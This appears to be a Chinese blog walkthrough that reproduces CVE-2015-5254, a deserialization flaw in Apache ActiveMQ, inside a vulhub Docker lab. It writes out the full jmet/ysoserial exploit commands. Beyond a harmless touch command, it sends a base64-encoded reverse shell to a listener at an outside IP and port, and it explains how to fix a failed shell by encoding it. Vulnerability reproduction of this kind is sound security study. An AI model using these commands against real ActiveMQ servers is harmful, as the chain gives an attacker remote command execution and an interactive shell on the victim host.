CVE-2015-5254
ActiveMQ CVE-2015-5254漏洞復現
0. 環境搭建
-
安裝docker:
curl -s https://get.docker.com/ | sh -
搭建vulhub,使用wget下載vulhub:
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip解壓:
unzip vulhub-master.zip進入漏洞環境:
cd /tools/range/activemq/CVE-2015-5254啟動環境:
docker-compose up -d最后如圖:
![]()
-
啟動了CVE-2015-5254的環境,瀏覽器訪問:
docker ps能夠看到0.0.0.0:8161-->8161/tcp 和 0.0.0.0:61616-->61616
其中的8161端口就是管理頁面的端口,而61616則是發送消息的工作端口。
瀏覽器訪問虛擬機ip加端口:192.168.163.128:8161
![]()
Manage ActiveMQ 為漏洞利用點,不過需要管理員權限才能訪問,簡單點說,需要密碼,這里的默認帳密為admin/admin;所以在不清楚密碼的同時,我們需要偽造消息去讓管理員點擊。
1. 漏洞復現
-
下載漏洞利用工具:
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar -
構造可執行命令的序列化對象,執行命令
jmet原理是使用ysoserial生成Payload并發送(其jar內自帶ysoserial,無需再自己下載),所以我們需要在ysoserial是gadget中選擇一個可以使用的,比如ROME。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/cve-2015-5254" -Yp ROME 192.168.163.128 61616命令執行如圖:
![]()
-
訪問管理頁面的消息隊列,點擊消息
進入Manage ActiveMQ,點擊queue,能夠看到獲得的消息:
![]()
進入event,查看消息:
![]()
點擊message ID,即可成功觸發漏洞:
![]()
進入docker查看,tmp下是否已經創建了cve-2015-5254文件:
docker exec 541e3f -it /bin/bash #541e3f -->為docker ID,使用docker ps命令能夠查看![]()
CVE-2015-5254漏洞利用成功~
-
反彈shell
反彈shell,修改命令中“ ”內的命令,反彈shell命令為bash -i >& /dev/tcp/vps地址/nc監聽端口 0>&1
漏洞利用同理,發送消息,點擊消息,命令執行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.163.128 61616bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}該語句問上面的反彈shell命令編碼過來,編碼轉換地址:http://www.jackson-t.ca/runtime-exec-payloads.html。
![]()
點擊消息,命令執行:
如圖:
![]()
得到shell:
![]()
以上為漏洞復現的整個過程,以下為在復現中遇到的問題:
反彈shell無法成功:
使用語句時,shell反彈不成功:
java -jar jmet-0.1.0.all-jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.1.1/1234" -Yp ROME 192.168.163.128 61616
解決方法:
將反彈shell命令編碼,編碼地址在上文。
問題:反序列漏洞利用是否bash命令是否都需要編碼?
問了一下我的同事,需不需要編碼是要看他代碼里面寫沒寫base64,一般都是需要的,因為序列化之后的數據是給計算機看的,對于我們來說就是一段亂碼,所以一般進行一道base64編碼,能讓我們看上去舒服一些,一段數據以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數據,或者如果以aced開頭,那么他就是這一段java序列化的16進制。這樣一段數據就是典型的base64編碼之后的java序列化數據:












浙公網安備 33010602011771號